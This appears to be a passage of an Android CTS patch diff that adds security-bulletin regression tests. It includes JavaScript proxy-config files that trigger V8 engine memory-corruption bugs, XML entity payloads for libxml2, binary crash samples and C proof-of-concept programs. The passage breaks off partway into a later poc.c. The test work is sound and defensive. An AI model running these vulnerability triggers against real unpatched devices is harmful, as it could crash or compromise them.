- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
- <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
- <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
- <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
- <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
- <!--__________________-->
- <!-- Bulletin 2017-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
- <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
- <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
- <!--__________________-->
- <!-- Bulletin 2017-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
- <!--__________________-->
- <!-- Bulletin 2018-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2018-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
- <!--__________________-->
- <!-- Bulletin 2018-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
- <!--__________________-->
- <!-- Bulletin 2019-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
-
- <option name="append-bitness" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="OomCatcher.apk" />
+ <option name="test-file-name" value="hotspot.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
- <option name="runtime-hint" value="8m40s" />
+ <option name="runtime-hint" value="18m26s" />
</test>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+ <option name="src-dir" value="/sdcard/report-log-files/"/>
+ <option name="dest-dir" value="report-log-files/"/>
+ <option name="temp-dir" value="temp-report-logs/"/>
+ <option name="device-dir" value="true"/>
+ </target_preparer>
</configuration>
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0477.gif b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
new file mode 100644
index 0000000..67bd51f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 0000000..999518a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ alert("enter");
+ let arr = [];
+ arr[1000] = 0x1234;
+
+ arr.__defineGetter__(256, function () {
+ delete arr[256];
+ arr.unshift(1.1);
+ arr.length = 0;
+ });
+
+ Object.entries(arr).toString();
+ alert(JSON.stringify(entries));
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
new file mode 100644
index 0000000..a6b0166
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ return "DIRECT";
+}
+
+function maxstring() {
+ // force TurboFan
+ try {} finally {}
+
+ var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
+ i += 16;
+ i >>= 28;
+ i *= 1000000;
+ //i *= 3;
+ if (i >= 3) {
+ return 0;
+ } else {
+ var arr = [0.1, 0.2, 0.3, 0.4];
+ return arr[i];
+ }
+}
+
+function opttest() {
+ for (var j = 0; j < 100000; j++) {
+ var o = maxstring();
+ if (o == 0 || o == undefined) {
+ continue;
+ }
+ console.log(o);
+ return o;
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
new file mode 100644
index 0000000..b70e24a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ for(var i = 0;i<0x10000;i++){
+ change_elements_kind(x);
+ }
+
+ for(var i = 0;i<0x10000;i++){
+ write_as_unboxed();
+ }
+
+ change_elements_kind(evil);
+
+ write_as_unboxed();
+
+ try{
+ evil[0].x;
+ }catch(e){
+ }
+ return "DIRECT";
+}
+
+function change_elements_kind(a){
+ a[0] = Array;
+}
+function read_as_unboxed(){
+ return evil[0];
+}
+
+function write_as_unboxed(){
+ evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
+}
+
+change_elements_kind({});
+
+var map_manipulator = new Array(1.0,2.3);
+map_manipulator.x = 7;
+change_elements_kind(map_manipulator);
+
+map_manipulator.x = {};
+
+var evil = new Array(1.1,2.2);
+evil.x = {};
+
+var x = new Array({});
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/CVE-2019-2051.pac
index 5ee3aeb..b24b160 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,8 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
+function FindProxyForURL(url, host){
+ this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
+ x;
+ return "DIRECT";
}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
new file mode 100644
index 0000000..670e870
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ for(var i = 0;i < 0x1000;i++){
+ tt();
+ }
+
+ return "DIRECT";
+}
+
+function tt(){
+ var evil_o = {};
+ var reg = /abc/y;
+ var num = {};
+ num.toString = function(){
+ change_to_dict();
+ return 0x0;
+ }
+
+
+ function change_to_dict(){
+ for(var i = 0;i < 0x100;i++){
+ reg["a"+i.toString(16)] = i;
+ }
+ }
+
+ evil_o.toString = function(){
+ //change_to_dict();
+ reg.lastIndex = num;
+ return "abc".repeat(0x1000);
+ }
+
+ String.prototype.replace.call(evil_o,reg,function(){});
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
new file mode 100644
index 0000000..4880f54
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ for (var i = 0; i < 0x10000; i++){
+ f();
+ }
+ array[0] = double_arr;
+ f();
+ try {
+ double_arr[1].x;
+ }catch(e){}
+ return "DIRECT";
+}
+
+var double_arr = [1.1, 2.2];
+var array = [[0.1],[0.1],[0.1]];
+
+function f(){
+ double_arr[0] = 3.3;
+ for(var i = 0; i < array.length; i++){
+ array[i][0] = {"abcd":0x4321};
+ }
+ double_arr[1] = 6.176516726456e-312;
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/CVE-2019-2130.pac
index 5ee3aeb..77a0cb5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,24 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+function FindProxyForURL(url, host){
+ function opt() {
+ opt['x'] = 1.1;
+ try {
+ Object.create(object);
+ } catch (e) {
+ }
-import android.app.Activity;
-import android.os.Bundle;
+ for (let i = 0; i < 100000; i++) {
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
+ }
}
+
+ opt();
+ object = opt;
+ opt();
+
+ return "DIRECT";
}
+
+var object;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/bug_138441919.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/bug_138441919.pac
index 5ee3aeb..006fb6a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,9 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
+function FindProxyForURL(url, host){
+ Object.defineProperty(Promise, Symbol.species, { value: 0 });
+ var p = new Promise(function() {});
+ p.then();
+ return "DIRECT";
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/bug_139806216.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/bug_139806216.pac
index 5ee3aeb..256108d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,7 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
+function FindProxyForURL(url, host){
+ var x = new ArrayBuffer(1);
+ return "DIRECT";
}
diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/res/cve_2016_4658.xml
similarity index 68%
copy from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/cve_2016_4658.xml
index 186bbb1a..b863309 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/cve_2016_4658.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,9 +13,10 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="androidx.heifwriter" >
-
- <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<Test>
+<root xmlns:aaa="aaa.com" xmlns:bbb="bbb.com" xmlns:ccc="ccc.com">
+ <aaa:one>a</aaa:one>
+ <two bbb:c="d">e</two>
+ <three>ccc:f</three>
+</root>
+</Test>
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/res/cve_2016_5131.xml
similarity index 68%
copy from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/cve_2016_5131.xml
index 186bbb1a..e6abae7 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/cve_2016_5131.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
+<?xml-stylesheet type="text/xsl" href="cve_2016_5131.xsl"?>
+<!-- Copyright (C) 2020 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,9 +13,4 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="androidx.heifwriter" >
-
- <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<doc/>
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0713.ttf b/hostsidetests/securitybulletin/res/cve_2017_0713.ttf
new file mode 100644
index 0000000..1f316ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0713.ttf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:0000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2184.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2184.mp4
new file mode 100644
index 0000000..a342aec
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2184.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
new file mode 100644
index 0000000..dede1c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2012-6702
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+
+LOCAL_SHARED_LIBRARIES := \
+ libc \
+ libexpat \
+ liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
new file mode 100644
index 0000000..ab83a0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "expat.h"
+#include <log/log.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAX_SIZE 20
+
+int main(void) {
+ XML_Parser parser;
+ int i;
+ int randomValues[MAX_SIZE];
+ int isDistinctive = 0;
+
+ for (i = 0; i < MAX_SIZE; i++) {
+ parser = XML_ParserCreate("UTF-8");
+ XML_Parse(parser, "", 0, 1);
+ XML_ParserFree(parser);
+ randomValues[i] = rand();
+ }
+
+ for (i = 1; i < MAX_SIZE; i++) {
+ if (randomValues[0] != randomValues[i]) {
+ isDistinctive |= 1;
+ }
+ }
+
+ if (isDistinctive == 0) {
+ //encountered similar values
+ ALOGE("fail: encountered same random values!");
+ return -1;
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..0bd5a7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
